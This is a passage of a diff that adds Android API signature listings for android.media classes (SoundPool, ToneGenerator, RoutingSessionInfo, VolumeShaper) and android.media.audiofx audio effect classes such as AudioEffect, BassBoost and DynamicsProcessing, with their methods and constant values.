+    field public static final String EXTRA_RINGTONE_PICKED_URI = "android.intent.extra.ringtone.PICKED_URI";
+    field public static final String EXTRA_RINGTONE_SHOW_DEFAULT = "android.intent.extra.ringtone.SHOW_DEFAULT";
+    field public static final String EXTRA_RINGTONE_SHOW_SILENT = "android.intent.extra.ringtone.SHOW_SILENT";
+    field public static final String EXTRA_RINGTONE_TITLE = "android.intent.extra.ringtone.TITLE";
+    field public static final String EXTRA_RINGTONE_TYPE = "android.intent.extra.ringtone.TYPE";
+    field public static final int ID_COLUMN_INDEX = 0; // 0x0
+    field public static final int TITLE_COLUMN_INDEX = 1; // 0x1
+    field public static final int TYPE_ALARM = 4; // 0x4
+    field public static final int TYPE_ALL = 7; // 0x7
+    field public static final int TYPE_NOTIFICATION = 2; // 0x2
+    field public static final int TYPE_RINGTONE = 1; // 0x1
+    field public static final int URI_COLUMN_INDEX = 2; // 0x2
+  }
+
+  public final class RouteDiscoveryPreference implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public java.util.List<java.lang.String> getPreferredFeatures();
+    method public boolean shouldPerformActiveScan();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.RouteDiscoveryPreference> CREATOR;
+  }
+
+  public static final class RouteDiscoveryPreference.Builder {
+    ctor public RouteDiscoveryPreference.Builder(@NonNull java.util.List<java.lang.String>, boolean);
+    ctor public RouteDiscoveryPreference.Builder(@NonNull android.media.RouteDiscoveryPreference);
+    method @NonNull public android.media.RouteDiscoveryPreference build();
+    method @NonNull public android.media.RouteDiscoveryPreference.Builder setPreferredFeatures(@NonNull java.util.List<java.lang.String>);
+    method @NonNull public android.media.RouteDiscoveryPreference.Builder setShouldPerformActiveScan(boolean);
+  }
+
+  public final class RoutingSessionInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public String getClientPackageName();
+    method @Nullable public android.os.Bundle getControlHints();
+    method @NonNull public java.util.List<java.lang.String> getDeselectableRoutes();
+    method @NonNull public String getId();
+    method @Nullable public CharSequence getName();
+    method @NonNull public java.util.List<java.lang.String> getSelectableRoutes();
+    method @NonNull public java.util.List<java.lang.String> getSelectedRoutes();
+    method @NonNull public java.util.List<java.lang.String> getTransferableRoutes();
+    method public int getVolume();
+    method public int getVolumeHandling();
+    method public int getVolumeMax();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.RoutingSessionInfo> CREATOR;
+  }
+
+  public static final class RoutingSessionInfo.Builder {
+    ctor public RoutingSessionInfo.Builder(@NonNull String, @NonNull String);
+    ctor public RoutingSessionInfo.Builder(@NonNull android.media.RoutingSessionInfo);
+    method @NonNull public android.media.RoutingSessionInfo.Builder addDeselectableRoute(@NonNull String);
+    method @NonNull public android.media.RoutingSessionInfo.Builder addSelectableRoute(@NonNull String);
+    method @NonNull public android.media.RoutingSessionInfo.Builder addSelectedRoute(@NonNull String);
+    method @NonNull public android.media.RoutingSessionInfo.Builder addTransferableRoute(@NonNull String);
+    method @NonNull public android.media.RoutingSessionInfo build();
+    method @NonNull public android.media.RoutingSessionInfo.Builder clearDeselectableRoutes();
+    method @NonNull public android.media.RoutingSessionInfo.Builder clearSelectableRoutes();
+    method @NonNull public android.media.RoutingSessionInfo.Builder clearSelectedRoutes();
+    method @NonNull public android.media.RoutingSessionInfo.Builder clearTransferableRoutes();
+    method @NonNull public android.media.RoutingSessionInfo.Builder removeDeselectableRoute(@NonNull String);
+    method @NonNull public android.media.RoutingSessionInfo.Builder removeSelectableRoute(@NonNull String);
+    method @NonNull public android.media.RoutingSessionInfo.Builder removeSelectedRoute(@NonNull String);
+    method @NonNull public android.media.RoutingSessionInfo.Builder removeTransferableRoute(@NonNull String);
+    method @NonNull public android.media.RoutingSessionInfo.Builder setControlHints(@Nullable android.os.Bundle);
+    method @NonNull public android.media.RoutingSessionInfo.Builder setName(@Nullable CharSequence);
+    method @NonNull public android.media.RoutingSessionInfo.Builder setVolume(int);
+    method @NonNull public android.media.RoutingSessionInfo.Builder setVolumeHandling(int);
+    method @NonNull public android.media.RoutingSessionInfo.Builder setVolumeMax(int);
+  }
+
+  public class SoundPool {
+    ctor @Deprecated public SoundPool(int, int, int);
+    method public final void autoPause();
+    method public final void autoResume();
+    method protected void finalize();
+    method public int load(String, int);
+    method public int load(android.content.Context, int, int);
+    method public int load(android.content.res.AssetFileDescriptor, int);
+    method public int load(java.io.FileDescriptor, long, long, int);
+    method public final void pause(int);
+    method public final int play(int, float, float, int, int, float);
+    method public final void release();
+    method public final void resume(int);
+    method public final void setLoop(int, int);
+    method public void setOnLoadCompleteListener(android.media.SoundPool.OnLoadCompleteListener);
+    method public final void setPriority(int, int);
+    method public final void setRate(int, float);
+    method public final void setVolume(int, float, float);
+    method public final void stop(int);
+    method public final boolean unload(int);
+  }
+
+  public static class SoundPool.Builder {
+    ctor public SoundPool.Builder();
+    method public android.media.SoundPool build();
+    method public android.media.SoundPool.Builder setAudioAttributes(android.media.AudioAttributes) throws java.lang.IllegalArgumentException;
+    method public android.media.SoundPool.Builder setMaxStreams(int) throws java.lang.IllegalArgumentException;
+  }
+
+  public static interface SoundPool.OnLoadCompleteListener {
+    method public void onLoadComplete(android.media.SoundPool, int, int);
+  }
+
+  public final class SubtitleData {
+    ctor public SubtitleData(int, long, long, @NonNull byte[]);
+    method @NonNull public byte[] getData();
+    method public long getDurationUs();
+    method public long getStartTimeUs();
+    method public int getTrackIndex();
+  }
+
+  public final class SyncParams {
+    ctor public SyncParams();
+    method public android.media.SyncParams allowDefaults();
+    method public int getAudioAdjustMode();
+    method public float getFrameRate();
+    method public int getSyncSource();
+    method public float getTolerance();
+    method public android.media.SyncParams setAudioAdjustMode(int);
+    method public android.media.SyncParams setFrameRate(float);
+    method public android.media.SyncParams setSyncSource(int);
+    method public android.media.SyncParams setTolerance(float);
+    field public static final int AUDIO_ADJUST_MODE_DEFAULT = 0; // 0x0
+    field public static final int AUDIO_ADJUST_MODE_RESAMPLE = 2; // 0x2
+    field public static final int AUDIO_ADJUST_MODE_STRETCH = 1; // 0x1
+    field public static final int SYNC_SOURCE_AUDIO = 2; // 0x2
+    field public static final int SYNC_SOURCE_DEFAULT = 0; // 0x0
+    field public static final int SYNC_SOURCE_SYSTEM_CLOCK = 1; // 0x1
+    field public static final int SYNC_SOURCE_VSYNC = 3; // 0x3
+  }
+
+  public class ThumbnailUtils {
+    ctor public ThumbnailUtils();
+    method @Deprecated @Nullable public static android.graphics.Bitmap createAudioThumbnail(@NonNull String, int);
+    method @NonNull public static android.graphics.Bitmap createAudioThumbnail(@NonNull java.io.File, @NonNull android.util.Size, @Nullable android.os.CancellationSignal) throws java.io.IOException;
+    method @Deprecated @Nullable public static android.graphics.Bitmap createImageThumbnail(@NonNull String, int);
+    method @NonNull public static android.graphics.Bitmap createImageThumbnail(@NonNull java.io.File, @NonNull android.util.Size, @Nullable android.os.CancellationSignal) throws java.io.IOException;
+    method @Deprecated @Nullable public static android.graphics.Bitmap createVideoThumbnail(@NonNull String, int);
+    method @NonNull public static android.graphics.Bitmap createVideoThumbnail(@NonNull java.io.File, @NonNull android.util.Size, @Nullable android.os.CancellationSignal) throws java.io.IOException;
+    method public static android.graphics.Bitmap extractThumbnail(android.graphics.Bitmap, int, int);
+    method public static android.graphics.Bitmap extractThumbnail(android.graphics.Bitmap, int, int, int);
+    field public static final int OPTIONS_RECYCLE_INPUT = 2; // 0x2
+  }
+
+  public final class TimedMetaData {
+    ctor public TimedMetaData(long, @NonNull byte[]);
+    method public byte[] getMetaData();
+    method public long getTimestamp();
+  }
+
+  public final class TimedText {
+    method public android.graphics.Rect getBounds();
+    method public String getText();
+  }
+
+  public class ToneGenerator {
+    ctor public ToneGenerator(int, int);
+    method protected void finalize();
+    method public final int getAudioSessionId();
+    method public void release();
+    method public boolean startTone(int);
+    method public boolean startTone(int, int);
+    method public void stopTone();
+    field public static final int MAX_VOLUME = 100; // 0x64
+    field public static final int MIN_VOLUME = 0; // 0x0
+    field public static final int TONE_CDMA_ABBR_ALERT = 97; // 0x61
+    field public static final int TONE_CDMA_ABBR_INTERCEPT = 37; // 0x25
+    field public static final int TONE_CDMA_ABBR_REORDER = 39; // 0x27
+    field public static final int TONE_CDMA_ALERT_AUTOREDIAL_LITE = 87; // 0x57
+    field public static final int TONE_CDMA_ALERT_CALL_GUARD = 93; // 0x5d
+    field public static final int TONE_CDMA_ALERT_INCALL_LITE = 91; // 0x5b
+    field public static final int TONE_CDMA_ALERT_NETWORK_LITE = 86; // 0x56
+    field public static final int TONE_CDMA_ANSWER = 42; // 0x2a
+    field public static final int TONE_CDMA_CALLDROP_LITE = 95; // 0x5f
+    field public static final int TONE_CDMA_CALL_SIGNAL_ISDN_INTERGROUP = 46; // 0x2e
+    field public static final int TONE_CDMA_CALL_SIGNAL_ISDN_NORMAL = 45; // 0x2d
+    field public static final int TONE_CDMA_CALL_SIGNAL_ISDN_PAT3 = 48; // 0x30
+    field public static final int TONE_CDMA_CALL_SIGNAL_ISDN_PAT5 = 50; // 0x32
+    field public static final int TONE_CDMA_CALL_SIGNAL_ISDN_PAT6 = 51; // 0x33
+    field public static final int TONE_CDMA_CALL_SIGNAL_ISDN_PAT7 = 52; // 0x34
+    field public static final int TONE_CDMA_CALL_SIGNAL_ISDN_PING_RING = 49; // 0x31
+    field public static final int TONE_CDMA_CALL_SIGNAL_ISDN_SP_PRI = 47; // 0x2f
+    field public static final int TONE_CDMA_CONFIRM = 41; // 0x29
+    field public static final int TONE_CDMA_DIAL_TONE_LITE = 34; // 0x22
+    field public static final int TONE_CDMA_EMERGENCY_RINGBACK = 92; // 0x5c
+    field public static final int TONE_CDMA_HIGH_L = 53; // 0x35
+    field public static final int TONE_CDMA_HIGH_PBX_L = 71; // 0x47
+    field public static final int TONE_CDMA_HIGH_PBX_SLS = 80; // 0x50
+    field public static final int TONE_CDMA_HIGH_PBX_SS = 74; // 0x4a
+    field public static final int TONE_CDMA_HIGH_PBX_SSL = 77; // 0x4d
+    field public static final int TONE_CDMA_HIGH_PBX_S_X4 = 83; // 0x53
+    field public static final int TONE_CDMA_HIGH_SLS = 65; // 0x41
+    field public static final int TONE_CDMA_HIGH_SS = 56; // 0x38
+    field public static final int TONE_CDMA_HIGH_SSL = 59; // 0x3b
+    field public static final int TONE_CDMA_HIGH_SS_2 = 62; // 0x3e
+    field public static final int TONE_CDMA_HIGH_S_X4 = 68; // 0x44
+    field public static final int TONE_CDMA_INTERCEPT = 36; // 0x24
+    field public static final int TONE_CDMA_KEYPAD_VOLUME_KEY_LITE = 89; // 0x59
+    field public static final int TONE_CDMA_LOW_L = 55; // 0x37
+    field public static final int TONE_CDMA_LOW_PBX_L = 73; // 0x49
+    field public static final int TONE_CDMA_LOW_PBX_SLS = 82; // 0x52
+    field public static final int TONE_CDMA_LOW_PBX_SS = 76; // 0x4c
+    field public static final int TONE_CDMA_LOW_PBX_SSL = 79; // 0x4f
+    field public static final int TONE_CDMA_LOW_PBX_S_X4 = 85; // 0x55
+    field public static final int TONE_CDMA_LOW_SLS = 67; // 0x43
+    field public static final int TONE_CDMA_LOW_SS = 58; // 0x3a
+    field public static final int TONE_CDMA_LOW_SSL = 61; // 0x3d
+    field public static final int TONE_CDMA_LOW_SS_2 = 64; // 0x40
+    field public static final int TONE_CDMA_LOW_S_X4 = 70; // 0x46
+    field public static final int TONE_CDMA_MED_L = 54; // 0x36
+    field public static final int TONE_CDMA_MED_PBX_L = 72; // 0x48
+    field public static final int TONE_CDMA_MED_PBX_SLS = 81; // 0x51
+    field public static final int TONE_CDMA_MED_PBX_SS = 75; // 0x4b
+    field public static final int TONE_CDMA_MED_PBX_SSL = 78; // 0x4e
+    field public static final int TONE_CDMA_MED_PBX_S_X4 = 84; // 0x54
+    field public static final int TONE_CDMA_MED_SLS = 66; // 0x42
+    field public static final int TONE_CDMA_MED_SS = 57; // 0x39
+    field public static final int TONE_CDMA_MED_SSL = 60; // 0x3c
+    field public static final int TONE_CDMA_MED_SS_2 = 63; // 0x3f
+    field public static final int TONE_CDMA_MED_S_X4 = 69; // 0x45
+    field public static final int TONE_CDMA_NETWORK_BUSY = 40; // 0x28
+    field public static final int TONE_CDMA_NETWORK_BUSY_ONE_SHOT = 96; // 0x60
+    field public static final int TONE_CDMA_NETWORK_CALLWAITING = 43; // 0x2b
+    field public static final int TONE_CDMA_NETWORK_USA_RINGBACK = 35; // 0x23
+    field public static final int TONE_CDMA_ONE_MIN_BEEP = 88; // 0x58
+    field public static final int TONE_CDMA_PIP = 44; // 0x2c
+    field public static final int TONE_CDMA_PRESSHOLDKEY_LITE = 90; // 0x5a
+    field public static final int TONE_CDMA_REORDER = 38; // 0x26
+    field public static final int TONE_CDMA_SIGNAL_OFF = 98; // 0x62
+    field public static final int TONE_CDMA_SOFT_ERROR_LITE = 94; // 0x5e
+    field public static final int TONE_DTMF_0 = 0; // 0x0
+    field public static final int TONE_DTMF_1 = 1; // 0x1
+    field public static final int TONE_DTMF_2 = 2; // 0x2
+    field public static final int TONE_DTMF_3 = 3; // 0x3
+    field public static final int TONE_DTMF_4 = 4; // 0x4
+    field public static final int TONE_DTMF_5 = 5; // 0x5
+    field public static final int TONE_DTMF_6 = 6; // 0x6
+    field public static final int TONE_DTMF_7 = 7; // 0x7
+    field public static final int TONE_DTMF_8 = 8; // 0x8
+    field public static final int TONE_DTMF_9 = 9; // 0x9
+    field public static final int TONE_DTMF_A = 12; // 0xc
+    field public static final int TONE_DTMF_B = 13; // 0xd
+    field public static final int TONE_DTMF_C = 14; // 0xe
+    field public static final int TONE_DTMF_D = 15; // 0xf
+    field public static final int TONE_DTMF_P = 11; // 0xb
+    field public static final int TONE_DTMF_S = 10; // 0xa
+    field public static final int TONE_PROP_ACK = 25; // 0x19
+    field public static final int TONE_PROP_BEEP = 24; // 0x18
+    field public static final int TONE_PROP_BEEP2 = 28; // 0x1c
+    field public static final int TONE_PROP_NACK = 26; // 0x1a
+    field public static final int TONE_PROP_PROMPT = 27; // 0x1b
+    field public static final int TONE_SUP_BUSY = 17; // 0x11
+    field public static final int TONE_SUP_CALL_WAITING = 22; // 0x16
+    field public static final int TONE_SUP_CONFIRM = 32; // 0x20
+    field public static final int TONE_SUP_CONGESTION = 18; // 0x12
+    field public static final int TONE_SUP_CONGESTION_ABBREV = 31; // 0x1f
+    field public static final int TONE_SUP_DIAL = 16; // 0x10
+    field public static final int TONE_SUP_ERROR = 21; // 0x15
+    field public static final int TONE_SUP_INTERCEPT = 29; // 0x1d
+    field public static final int TONE_SUP_INTERCEPT_ABBREV = 30; // 0x1e
+    field public static final int TONE_SUP_PIP = 33; // 0x21
+    field public static final int TONE_SUP_RADIO_ACK = 19; // 0x13
+    field public static final int TONE_SUP_RADIO_NOTAVAIL = 20; // 0x14
+    field public static final int TONE_SUP_RINGTONE = 23; // 0x17
+  }
+
+  public final class UnsupportedSchemeException extends android.media.MediaDrmException {
+    ctor public UnsupportedSchemeException(String);
+  }
+
+  public interface VolumeAutomation {
+    method @NonNull public android.media.VolumeShaper createVolumeShaper(@NonNull android.media.VolumeShaper.Configuration);
+  }
+
+  public abstract class VolumeProvider {
+    ctor public VolumeProvider(int, int, int);
+    ctor public VolumeProvider(int, int, int, @Nullable String);
+    method public final int getCurrentVolume();
+    method public final int getMaxVolume();
+    method public final int getVolumeControl();
+    method @Nullable public final String getVolumeControlId();
+    method public void onAdjustVolume(int);
+    method public void onSetVolumeTo(int);
+    method public final void setCurrentVolume(int);
+    field public static final int VOLUME_CONTROL_ABSOLUTE = 2; // 0x2
+    field public static final int VOLUME_CONTROL_FIXED = 0; // 0x0
+    field public static final int VOLUME_CONTROL_RELATIVE = 1; // 0x1
+  }
+
+  public final class VolumeShaper implements java.lang.AutoCloseable {
+    method public void apply(@NonNull android.media.VolumeShaper.Operation);
+    method public void close();
+    method protected void finalize();
+    method public float getVolume();
+    method public void replace(@NonNull android.media.VolumeShaper.Configuration, @NonNull android.media.VolumeShaper.Operation, boolean);
+  }
+
+  public static final class VolumeShaper.Configuration implements android.os.Parcelable {
+    method public int describeContents();
+    method public long getDuration();
+    method public int getInterpolatorType();
+    method public static int getMaximumCurvePoints();
+    method public float[] getTimes();
+    method public float[] getVolumes();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.VolumeShaper.Configuration> CREATOR;
+    field public static final android.media.VolumeShaper.Configuration CUBIC_RAMP;
+    field public static final int INTERPOLATOR_TYPE_CUBIC = 2; // 0x2
+    field public static final int INTERPOLATOR_TYPE_CUBIC_MONOTONIC = 3; // 0x3
+    field public static final int INTERPOLATOR_TYPE_LINEAR = 1; // 0x1
+    field public static final int INTERPOLATOR_TYPE_STEP = 0; // 0x0
+    field public static final android.media.VolumeShaper.Configuration LINEAR_RAMP;
+    field public static final android.media.VolumeShaper.Configuration SCURVE_RAMP;
+    field public static final android.media.VolumeShaper.Configuration SINE_RAMP;
+  }
+
+  public static final class VolumeShaper.Configuration.Builder {
+    ctor public VolumeShaper.Configuration.Builder();
+    ctor public VolumeShaper.Configuration.Builder(@NonNull android.media.VolumeShaper.Configuration);
+    method @NonNull public android.media.VolumeShaper.Configuration build();
+    method @NonNull public android.media.VolumeShaper.Configuration.Builder invertVolumes();
+    method @NonNull public android.media.VolumeShaper.Configuration.Builder reflectTimes();
+    method @NonNull public android.media.VolumeShaper.Configuration.Builder scaleToEndVolume(float);
+    method @NonNull public android.media.VolumeShaper.Configuration.Builder scaleToStartVolume(float);
+    method @NonNull public android.media.VolumeShaper.Configuration.Builder setCurve(@NonNull float[], @NonNull float[]);
+    method @NonNull public android.media.VolumeShaper.Configuration.Builder setDuration(long);
+    method @NonNull public android.media.VolumeShaper.Configuration.Builder setInterpolatorType(int);
+  }
+
+  public static final class VolumeShaper.Operation implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.VolumeShaper.Operation> CREATOR;
+    field public static final android.media.VolumeShaper.Operation PLAY;
+    field public static final android.media.VolumeShaper.Operation REVERSE;
+  }
+
+}
+
+package android.media.audiofx {
+
+  public class AcousticEchoCanceler extends android.media.audiofx.AudioEffect {
+    method public static android.media.audiofx.AcousticEchoCanceler create(int);
+    method public static boolean isAvailable();
+  }
+
+  public class AudioEffect {
+    method protected void finalize();
+    method public android.media.audiofx.AudioEffect.Descriptor getDescriptor() throws java.lang.IllegalStateException;
+    method public boolean getEnabled() throws java.lang.IllegalStateException;
+    method public int getId() throws java.lang.IllegalStateException;
+    method public boolean hasControl() throws java.lang.IllegalStateException;
+    method public static android.media.audiofx.AudioEffect.Descriptor[] queryEffects();
+    method public void release();
+    method public void setControlStatusListener(android.media.audiofx.AudioEffect.OnControlStatusChangeListener);
+    method public void setEnableStatusListener(android.media.audiofx.AudioEffect.OnEnableStatusChangeListener);
+    method public int setEnabled(boolean) throws java.lang.IllegalStateException;
+    field public static final String ACTION_CLOSE_AUDIO_EFFECT_CONTROL_SESSION = "android.media.action.CLOSE_AUDIO_EFFECT_CONTROL_SESSION";
+    field public static final String ACTION_DISPLAY_AUDIO_EFFECT_CONTROL_PANEL = "android.media.action.DISPLAY_AUDIO_EFFECT_CONTROL_PANEL";
+    field public static final String ACTION_OPEN_AUDIO_EFFECT_CONTROL_SESSION = "android.media.action.OPEN_AUDIO_EFFECT_CONTROL_SESSION";
+    field public static final int ALREADY_EXISTS = -2; // 0xfffffffe
+    field public static final int CONTENT_TYPE_GAME = 2; // 0x2
+    field public static final int CONTENT_TYPE_MOVIE = 1; // 0x1
+    field public static final int CONTENT_TYPE_MUSIC = 0; // 0x0
+    field public static final int CONTENT_TYPE_VOICE = 3; // 0x3
+    field public static final String EFFECT_AUXILIARY = "Auxiliary";
+    field public static final String EFFECT_INSERT = "Insert";
+    field public static final String EFFECT_POST_PROCESSING = "Post Processing";
+    field public static final String EFFECT_PRE_PROCESSING = "Pre Processing";
+    field public static final java.util.UUID EFFECT_TYPE_AEC;
+    field public static final java.util.UUID EFFECT_TYPE_AGC;
+    field public static final java.util.UUID EFFECT_TYPE_BASS_BOOST;
+    field public static final java.util.UUID EFFECT_TYPE_DYNAMICS_PROCESSING;
+    field public static final java.util.UUID EFFECT_TYPE_ENV_REVERB;
+    field public static final java.util.UUID EFFECT_TYPE_EQUALIZER;
+    field @NonNull public static final java.util.UUID EFFECT_TYPE_HAPTIC_GENERATOR;
+    field public static final java.util.UUID EFFECT_TYPE_LOUDNESS_ENHANCER;
+    field public static final java.util.UUID EFFECT_TYPE_NS;
+    field public static final java.util.UUID EFFECT_TYPE_PRESET_REVERB;
+    field public static final java.util.UUID EFFECT_TYPE_VIRTUALIZER;
+    field public static final int ERROR = -1; // 0xffffffff
+    field public static final int ERROR_BAD_VALUE = -4; // 0xfffffffc
+    field public static final int ERROR_DEAD_OBJECT = -7; // 0xfffffff9
+    field public static final int ERROR_INVALID_OPERATION = -5; // 0xfffffffb
+    field public static final int ERROR_NO_INIT = -3; // 0xfffffffd
+    field public static final int ERROR_NO_MEMORY = -6; // 0xfffffffa
+    field public static final String EXTRA_AUDIO_SESSION = "android.media.extra.AUDIO_SESSION";
+    field public static final String EXTRA_CONTENT_TYPE = "android.media.extra.CONTENT_TYPE";
+    field public static final String EXTRA_PACKAGE_NAME = "android.media.extra.PACKAGE_NAME";
+    field public static final int SUCCESS = 0; // 0x0
+  }
+
+  public static class AudioEffect.Descriptor {
+    ctor public AudioEffect.Descriptor();
+    ctor public AudioEffect.Descriptor(String, String, String, String, String);
+    field public String connectMode;
+    field public String implementor;
+    field public String name;
+    field public java.util.UUID type;
+    field public java.util.UUID uuid;
+  }
+
+  public static interface AudioEffect.OnControlStatusChangeListener {
+    method public void onControlStatusChange(android.media.audiofx.AudioEffect, boolean);
+  }
+
+  public static interface AudioEffect.OnEnableStatusChangeListener {
+    method public void onEnableStatusChange(android.media.audiofx.AudioEffect, boolean);
+  }
+
+  public class AutomaticGainControl extends android.media.audiofx.AudioEffect {
+    method public static android.media.audiofx.AutomaticGainControl create(int);
+    method public static boolean isAvailable();
+  }
+
+  public class BassBoost extends android.media.audiofx.AudioEffect {
+    ctor public BassBoost(int, int) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.RuntimeException, java.lang.UnsupportedOperationException;
+    method public android.media.audiofx.BassBoost.Settings getProperties() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public short getRoundedStrength() throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public boolean getStrengthSupported();
+    method public void setParameterListener(android.media.audiofx.BassBoost.OnParameterChangeListener);
+    method public void setProperties(android.media.audiofx.BassBoost.Settings) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    method public void setStrength(short) throws java.lang.IllegalArgumentException, java.lang.IllegalStateException, java.lang.UnsupportedOperationException;
+    field public static final int PARAM_STRENGTH = 1; // 0x1
+    field public static final int PARAM_STRENGTH_SUPPORTED = 0; // 0x0
+  }
+
+  public static interface BassBoost.OnParameterChangeListener {
+    method public void onParameterChange(android.media.audiofx.BassBoost, int, int, short);
+  }
+
+  public static class BassBoost.Settings {
+    ctor public BassBoost.Settings();
+    ctor public BassBoost.Settings(String);
+    field public short strength;
+  }
+
+  public final class DynamicsProcessing extends android.media.audiofx.AudioEffect {
+    ctor public DynamicsProcessing(int);
+    ctor public DynamicsProcessing(int, int, @Nullable android.media.audiofx.DynamicsProcessing.Config);
+    method public android.media.audiofx.DynamicsProcessing.Channel getChannelByChannelIndex(int);
+    method public int getChannelCount();
+    method public android.media.audiofx.DynamicsProcessing.Config getConfig();
+    method public float getInputGainByChannelIndex(int);
+    method public android.media.audiofx.DynamicsProcessing.Limiter getLimiterByChannelIndex(int);
+    method public android.media.audiofx.DynamicsProcessing.MbcBand getMbcBandByChannelIndex(int, int);
+    method public android.media.audiofx.DynamicsProcessing.Mbc getMbcByChannelIndex(int);
+    method public android.media.audiofx.DynamicsProcessing.EqBand getPostEqBandByChannelIndex(int, int);
+    method public android.media.audiofx.DynamicsProcessing.Eq getPostEqByChannelIndex(int);
+    method public android.media.audiofx.DynamicsProcessing.EqBand getPreEqBandByChannelIndex(int, int);
+    method public android.media.audiofx.DynamicsProcessing.Eq getPreEqByChannelIndex(int);
+    method public void setAllChannelsTo(android.media.audiofx.DynamicsProcessing.Channel);
+    method public void setChannelTo(int, android.media.audiofx.DynamicsProcessing.Channel);
+    method public void setInputGainAllChannelsTo(float);
+    method public void setInputGainbyChannel(int, float);
+    method public void setLimiterAllChannelsTo(android.media.audiofx.DynamicsProcessing.Limiter);
+    method public void setLimiterByChannelIndex(int, android.media.audiofx.DynamicsProcessing.Limiter);
+    method public void setMbcAllChannelsTo(android.media.audiofx.DynamicsProcessing.Mbc);
+    method public void setMbcBandAllChannelsTo(int, android.media.audiofx.DynamicsProcessing.MbcBand);
+    method public void setMbcBandByChannelIndex(int, int, android.media.audiofx.DynamicsProcessing.MbcBand);
+    method public void setMbcByChannelIndex(int, android.media.audiofx.DynamicsProcessing.Mbc);
+    method public void setPostEqAllChannelsTo(android.media.audiofx.DynamicsProcessing.Eq);
+    method public void setPostEqBandAllChannelsTo(int, android.media.audiofx.DynamicsProcessing.EqBand);
+    method public void setPostEqBandByChannelIndex(int, int, android.media.audiofx.DynamicsProcessing.EqBand);
+    method public void setPostEqByChannelIndex(int, android.media.audiofx.DynamicsProcessing.Eq);
+    method public void setPreEqAllChannelsTo(android.media.audiofx.DynamicsProcessing.Eq);
+    method public void setPreEqBandAllChannelsTo(int, android.media.audiofx.DynamicsProcessing.EqBand);
+    method public void setPreEqBandByChannelIndex(int, int, android.media.audiofx.DynamicsProcessing.EqBand);
+    method public void setPreEqByChannelIndex(int, android.media.audiofx.DynamicsProcessing.Eq);
+    field public static final int VARIANT_FAVOR_FREQUENCY_RESOLUTION = 0; // 0x0
+    field public static final int VARIANT_FAVOR_TIME_RESOLUTION = 1; // 0x1
+  }
+
+  public static class DynamicsProcessing.BandBase {
+    ctor public DynamicsProcessing.BandBase(boolean, float);
+    method public float getCutoffFrequency();
+    method public boolean isEnabled();
+    method public void setCutoffFrequency(float);
+    method public void setEnabled(boolean);
+  }
+
+  public static class DynamicsProcessing.BandStage extends android.media.audiofx.DynamicsProcessing.Stage {
+    ctor public DynamicsProcessing.BandStage(boolean, boolean, int);
+    method public int getBandCount();
+  }
+
+  public static final class DynamicsProcessing.Channel {
+    ctor public DynamicsProcessing.Channel(float, boolean, int, boolean, int, boolean, int, boolean);
+    ctor public DynamicsProcessing.Channel(android.media.audiofx.DynamicsProcessing.Channel);
+    method public float getInputGain();
+    method public android.media.audiofx.DynamicsProcessing.Limiter getLimiter();
+    method public android.media.audiofx.DynamicsProcessing.Mbc getMbc();
+    method public android.media.audiofx.DynamicsProcessing.MbcBand getMbcBand(int);
+    method public android.media.audiofx.DynamicsProcessing.Eq getPostEq();
+    method public android.media.audiofx.DynamicsProcessing.EqBand getPostEqBand(int);
+    method public android.media.audiofx.DynamicsProcessing.Eq getPreEq();
+    method public android.media.audiofx.DynamicsProcessing.EqBand getPreEqBand(int);
+    method public void setInputGain(float);
+    method public void setLimiter(android.media.audiofx.DynamicsProcessing.Limiter);
+    method public void setMbc(android.media.audiofx.DynamicsProcessing.Mbc);
+    method public void setMbcBand(int, android.media.audiofx.DynamicsProcessing.MbcBand);
+    method public void setPostEq(android.media.audiofx.DynamicsProcessing.Eq);
+    method public void setPostEqBand(int, android.media.audiofx.DynamicsProcessing.EqBand);
+    method public void setPreEq(android.media.audiofx.DynamicsProcessing.Eq);
+    method public void setPreEqBand(int, android.media.audiofx.DynamicsProcessing.EqBand);
+  }
+
+  public static final class DynamicsProcessing.Config {
+    method public android.media.audiofx.DynamicsProcessing.Channel getChannelByChannelIndex(int);
+    method public float getInputGainByChannelIndex(int);
+    method public android.media.audiofx.DynamicsProcessing.Limiter getLimiterByChannelIndex(int);
+    method public android.media.audiofx.DynamicsProcessing.MbcBand getMbcBandByChannelIndex(int, int);
+    method public int getMbcBandCount();
+    method public android.media.audiofx.DynamicsProcessing.Mbc getMbcByChannelIndex(int);
+    method public android.media.audiofx.DynamicsProcessing.EqBand getPostEqBandByChannelIndex(int, int);
+    method public int getPostEqBandCount();
+    method public android.media.audiofx.DynamicsProcessing.Eq getPostEqByChannelIndex(int);
+    method public android.media.audiofx.DynamicsProcessing.EqBand getPreEqBandByChannelIndex(int, int);
+    method public int getPreEqBandCount();
+    method public android.media.audiofx.DynamicsProcessing.Eq getPreEqByChannelIndex(int);
+    method public float getPreferredFrameDuration();
+    method public int getVariant();
+    method public boolean isLimiterInUse();
+    method public boolean isMbcInUse();
+    method public boolean isPostEqInUse();
+    method public boolean isPreEqInUse();
+    method public void setAllChannelsTo(android.media.audiofx.DynamicsProcessing.Channel);
+    method public void setChannelTo(int, android.media.audiofx.DynamicsProcessing.Channel);
+    method public void setInputGainAllChannelsTo(float);
+    method public void setInputGainByChannelIndex(int, float);
+    method public void setLimiterAllChannelsTo(android.media.audiofx.DynamicsProcessing.Limiter);
+    method public void setLimiterByChannelIndex(int, android.media.audiofx.DynamicsProcessing.Limiter);
+    method public void setMbcAllChannelsTo(android.media.audiofx.DynamicsProcessing.Mbc);
+    method public void setMbcBandAllChannelsTo(int, android.media.audiofx.DynamicsProcessing.MbcBand);
+    method public void setMbcBandByChannelIndex(int, int, android.media.audiofx.DynamicsProcessing.MbcBand);
+    method public void setMbcByChannelIndex(int, android.media.audiofx.DynamicsProcessing.Mbc);
